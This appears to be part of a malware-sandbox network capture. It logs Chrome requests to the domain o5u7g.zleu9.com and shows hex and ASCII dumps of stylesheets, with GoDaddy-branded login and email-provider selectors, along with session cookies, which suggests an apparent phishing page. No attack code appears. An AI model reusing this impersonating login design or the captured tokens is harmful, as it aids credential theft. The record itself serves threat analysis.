.loginbox{border-radius:0 0 3.75pt .052083333in}#sections .opts:hover,.back:hover,.row.tile:not(.no-pick):hover{background-color:rgba(0,0,0,.1)}#sections_pdf .
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 7b 77 69 64 74 68 3a 33 36 30 70 78 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 33 30 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 3e 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 33 37 39 29 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 3b 62 6f 72 64 65 Data Ascii: login .selectProvider .choseemails{width:360px;height:auto;margin:30px;display:flex}#sections_pdf .login .selectProvider .choseemails>span{color:#fff;width:100%;height:auto;margin:auto;text-align:center;background-color:rgba(0,0,0,.379);padding:15px;borde
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 66 72 6f 6d 7b 6f 70 61 63 69 74 79 3a 2e 34 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 75 6e 73 65 74 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 70 72 6f 67 72 65 73 73 44 6f 74 7b 30 25 2c 32 30 25 7b 6c 65 66 74 3a 30 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 6f 75 74 3b 6f 70 61 63 69 74 79 3a 30 7d 32 35 25 2c 37 35 25 7b 6f 70 61 63 69 74 79 3a 31 7d 33 35 25 7b 6c 65 66 74 3a 34 35 25 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 6c 69 6e 65 61 72 7d 36 35 25 7b 6c 65 66 74 3a 36 30 25 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e Data Ascii: from{opacity:.4;pointer-events:none}to{opacity:1;pointer-events:unset}}@keyframes progressDot{0%,20%{left:0;animation-timing-function:ease-out;opacity:0}25%,75%{opacity:1}35%{left:45%;animation-timing-function:linear}65%{left:60%;animation-timing-function
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 2e 6c 6f 61 64 69 6e 67 20 2e 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 3a 6e 74 68 2d 63 68 69 6c 64 28 34 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2e 35 73 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 2e 6c 6f 61 64 69 6e 67 20 2e 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 3a 6e 74 68 2d 63 68 69 6c 64 28 35 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2e 36 35 73 7d 23 73 65 63 74 69 6f 6e 73 7b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 77 69 64 74 68 3a 31 30 30 76 77 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 2d 63 65 6c 6c 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 23 73 65 63 74 69 6f 6e 73 20 2e 73 65 63 74 69 6f 6e 63 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f Data Ascii: ng-container.loading .dot-floating:nth-child(4){animation-delay:.5s}#sections .loading-container.loading .dot-floating:nth-child(5){animation-delay:.65s}#sections{height:100vh;width:100vw;display:table-cell;max-width:100%}#sections .sectioncontent{positio
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 68 65 69 67 68 74 3a 33 36 70 78 3b 6f 75 74 6c 69 6e 65 3a 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2d 20 32 30 70 78 29 7d 2e 69 6e 70 75 74 3a 68 6f 76 65 72 2c 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 3a 68 6f 76 65 72 2c 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 38 29 7d 2e 69 6e 70 75 74 3a 3a 70 6c 61 63 65 68 6f 6c 64 65 72 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 7d 23 61 75 74 68 63 61 6c 6c 64 65 73 63 7b 66 6f 6e 74 Data Ascii: height:36px;outline:0;border-radius:0;-webkit-border-radius:0;background-color:transparent;width:calc(100% - 20px)}.input:hover,input[type=email]:hover,input[type=tel]:hover{border-color:rgba(0,0,0,.8)}.input::placeholder{font-size:15px}#authcalldesc{font
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 30 7d 2e 61 6c 65 72 74 2d 65 72 72 6f 72 7b 63 6f 6c 6f 72 3a 23 65 38 31 31 32 33 7d 69 6e 70 75 74 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2b 6c 61 62 65 6c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 2e 64 69 72 6c 74 72 7b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 7d 2e 69 6e 70 75 74 2d 6d 61 78 2d 77 69 64 74 68 7b 6d 61 78 2d 77 69 64 74 68 3a 36 34 30 70 78 7d 2e 74 61 62 6c 65 2c 69 6e 70 75 74 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 6c 61 62 65 6c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 7b 62 6f 72 64 65 72 2d 77 69 Data Ascii: left-radius:0;border-top-left-radius:0;border-left:0}.alert-error{color:#e81123}input.form-control+label.input-group-addon{border-radius:0}.dirltr{direction:ltr}.input-max-width{max-width:640px}.table,input{max-width:100%}label.input-group-addon{border-wi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49768	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:06 UTC	1419	OUT	GET /xyt4uiudpq34gh30 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
2024-04-23 19:54:07 UTC	622	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:07 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="xyt4uiudpq34gh30" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3jU8185dDweuPw18JfpD4pg2pj1IIM3159fFTM2DKQgEGWJFzWnl4LRn6Z5B9d0c9xYDwACtPcWedWRFY04aidXrbgMXNSgNJWSRkjMOlr7LieFhKjg81INAVCSQPA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 87906752a91244ee-ATL
2024-04-23 19:54:07 UTC	747	IN	Data Raw: 33 37 61 61 0d 0a 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 67 64 73 68 65 72 70 61 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 73 72 63 3a 20 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 62 6f 6c 64 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 62 6f 6c 64 2e 77 6f 66 66 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 2d 31 30 46 46 46 46 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 20 73 77 61 70 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 Data Ascii: 37aa@font-face{font-family: 'gdsherpa';font-weight: 700;src: url('/web8/assets/fonts/GDSherpa-bold.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-bold.woff') format('woff');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family:
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 20 39 30 30 3b 73 72 63 3a 20 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 76 66 32 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 76 66 32 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 2d 76 61 72 69 61 74 69 6f 6e 73 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 2d 31 30 46 46 46 46 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 20 73 77 61 70 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 67 64 2d 73 61 67 65 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 73 72 63 3a 20 75 72 6c 28 27 2f 77 65 62 38 Data Ascii: 900;src: url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2-variations');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gd-sage';font-weight: 700;src: url('/web8
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 32 29 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 67 61 70 3a 20 30 2e 35 65 6d 3b 0d 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0d 0a 20 20 2d 2d 75 78 2d 62 75 74 74 6f 6e 2d 69 63 6f 6e 2d 6d 61 72 67 69 6e 3a 20 63 61 6c 63 28 28 76 61 72 28 2d 2d 75 78 2d 74 33 37 39 6f 76 2c 76 61 72 28 2d 2d 75 78 2d 6a 77 35 73 39 6a 2c 31 2e 35 29 29 20 2a 20 31 65 6d 20 2d 20 31 2e 35 65 6d 29 20 2f 20 32 29 3b 0d 0a 20 Data Ascii: 2); padding: 0; text-decoration: var(--ux-1f7if5p,underline); -webkit-text-decoration: var(--ux-1f7if5p,underline); gap: 0.5em; cursor: pointer; --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1.5em) / 2);
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 62 6c 6f 63 6b 3a 65 6d 70 74 79 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 0d 0a 20 20 62 6c 6f 63 6b 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 73 69 7a 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 62 6c 6f 63 6b 3a 6e 6f 74 28 3a 65 6d 70 74 79 29 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 62 6c 6f 63 6b 3a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 73 69 7a 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f Data Ascii: }#sections_godaddy .ux-space.ux-space--block:empty { display: inline-flex; block-size: var(--uxSpace--padding-size);}#sections_godaddy .ux-space.ux-space--block:not(:empty) { padding-block: var(--uxSpace--padding-size);}#sections_
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 33 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 32 29 20 76 61 72 28 2d 2d 75 78 2d 79 34 70 67 38 7a 2c 2a 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 34 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 33 29 20 76 61 72 28 2d 2d 75 78 2d 79 34 70 67 38 7a 2c 2a 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 35 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 34 29 20 76 Data Ascii: )); --uxText--fontSize3: calc(var(--uxText--fontSize2) var(--ux-y4pg8z,) var(--ux-7s4p3v,1.125)); --uxText--fontSize4: calc(var(--uxText--fontSize3) var(--ux-y4pg8z,) var(--ux-7s4p3v,1.125)); --uxText--fontSize5: calc(var(--uxText--fontSize4) v
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 72 65 6e 74 43 6f 6c 6f 72 3b 0d 0a 20 20 66 69 6c 6c 3a 20 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 74 65 78 74 2d 69 6e 70 75 74 2d 73 68 65 6c 6c 20 2e 75 78 2d 74 65 78 74 2d 63 61 70 74 69 6f 6e 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 36 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 66 69 65 6c 64 2d 66 72 61 6d 65 2e 75 78 2d 66 69 65 6c 64 2d 66 72 61 6d 65 2d 2d 69 6e 76 61 6c 69 64 20 7b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 44 42 31 38 30 32 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 0d 0a Data Ascii: rentColor; fill: currentColor;}#sections_godaddy .ux-text-input-shell .ux-text-caption { margin-top: 6px; font-size: 13px;}#sections_godaddy .ux-field-frame.ux-field-frame--invalid { border-color: #DB1802 !important;}
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 61 64 64 79 20 2e 73 72 2d 6f 6e 6c 79 20 7b 0d 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 77 69 64 74 68 3a 20 31 70 78 3b 0d 0a 20 20 68 65 69 67 68 74 3a 20 31 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 63 6c 69 70 3a 20 72 65 63 74 28 30 2c 30 2c 30 2c 30 29 3b 0d 0a 20 20 63 6c 69 70 3a 20 72 65 63 74 28 30 2c 30 2c 30 2c 30 29 3b 0d 0a 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 61 70 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 63 6c 69 70 2d 70 61 74 68 3a 20 69 6e 73 65 74 28 35 30 25 29 3b 0d 0a 20 20 63 6c 69 70 2d 70 61 74 68 3a 20 69 6e 73 65 74 28 35 30 25 29 3b 0d 0a 20 20 62 6f 72 64 65 72 Data Ascii: addy .sr-only { position: absolute; width: 1px; height: 1px; padding: 0; overflow: hidden; -webkit-clip: rect(0,0,0,0); clip: rect(0,0,0,0); white-space: nowrap; -webkit-clip-path: inset(50%); clip-path: inset(50%); border
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 2e 30 39 33 37 35 72 65 6d 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 38 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0d 0a 20 20 63 Data Ascii: padding: 0; vertical-align: .09375rem;}#sections_godaddy .container { margin-left: auto; margin-right: auto; padding-left: 8px; padding-right: 8px;}#sections_godaddy .container::after { content: ""; display: table; c
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 20 76 61 72 28 2d 2d 75 78 2d 39 37 68 33 76 6c 2c 23 64 33 64 33 64 33 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 63 61 72 64 20 2e 63 61 72 64 2d 62 6c 6f 63 6b 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 66 6f 6e 74 2d 70 72 69 6d 61 72 79 2d 62 6f 6c 64 20 7b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 61 72 28 2d 2d 75 78 2d 31 30 36 37 70 68 39 2c 73 61 6e 73 2d 73 65 72 69 66 29 3b 0d 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 65 72 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f Data Ascii: var(--ux-97h3vl,#d3d3d3);}#sections_godaddy .ux-card .card-block { padding: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .font-primary-bold { font-family: var(--ux-1067ph9,sans-serif); font-weight: bolder;}#sections_go
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 78 2d 39 71 70 66 36 63 2c 23 30 30 66 29 29 3b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 75 71 34 39 70 67 2c 76 61 72 28 2d 2d 75 78 2d 68 36 65 37 63 31 2c 23 66 66 66 29 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 34 68 76 6f 76 6e 2c 76 61 72 28 2d 2d 75 78 2d 31 78 6c 69 75 68 69 2c 74 72 61 6e 73 70 61 72 65 6e 74 29 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 2e 75 78 2d 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0d 0a 7d Data Ascii: x-9qpf6c,#00f)); color: var(--ux-uq49pg,var(--ux-h6e7c1,#fff)); border-color: var(--ux-4hvovn,var(--ux-1xliuhi,transparent));}#sections_godaddy .ux-button.ux-button-primary { color: #fff; background-color: #000; border-color: #000;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49771	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:06 UTC	1445	OUT	GET /pqEwuigvKgPpV6LFzQ34GsmKuv38 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://o5u7g.zleu9.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
2024-04-23 19:54:14 UTC	625	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:14 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="pqEwuigvKgPpV6LFzQ34GsmKuv38" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B3avIFdcV7gP6K1R5KLWCE9YL3gL8XTWL2h%2F2rmg16Vu5ntMa%2FTe6Q5dHOEPHPLqcEua5eGBnJewwHeBwXyy%2FKSXyH1BB%2FFF5IVtKdfJDSNmwvkmXEvaHs3EpSGjww%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 87906752ac7312f5-ATL
